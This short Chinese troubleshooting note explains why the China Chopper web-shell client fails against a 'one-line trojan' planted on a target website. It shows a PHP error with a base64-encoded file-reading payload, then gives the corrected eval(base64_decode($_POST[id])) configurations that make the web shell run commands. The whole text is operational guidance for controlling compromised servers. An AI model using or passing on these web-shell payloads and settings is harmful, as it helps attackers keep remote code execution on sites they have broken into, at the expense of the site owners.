菜刀问题and原因

菜刀问题1:

PHP Notice:  Undefined index:                       // 错误代码:500                                               QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiYEB+Iik7JEY9J0M6XFxwaHBTdHVkeTRJSVNcXFdXV1xcdGVzdDBcXHRlc3QxXFx0ZXN0MlxcbGxsbGwucGhwJzskUD1AZm9wZW4oJEYsJ3InKTtlY2hvKEBmcmVhZCgkUCxmaWxlc2l6ZSgkRikpKTtAZmNsb3NlKCRQKTs7ZWNobygiYEB+Iik7ZGllKCk7 in C:\phpStudy4IIS\WWW\test0\test1\test2\shell.php(1) : eval()'d code on line 1

原因菜刀密码正确,但菜刀配置不正确,类似:

目标网站一句话木马:
错误配置:标签内容:     base64_decode($_POST['%s']);    
正确配置:eval(base64_decode($_POST[id]));&id=%s        
             或 eval(base64_decode('%s'));

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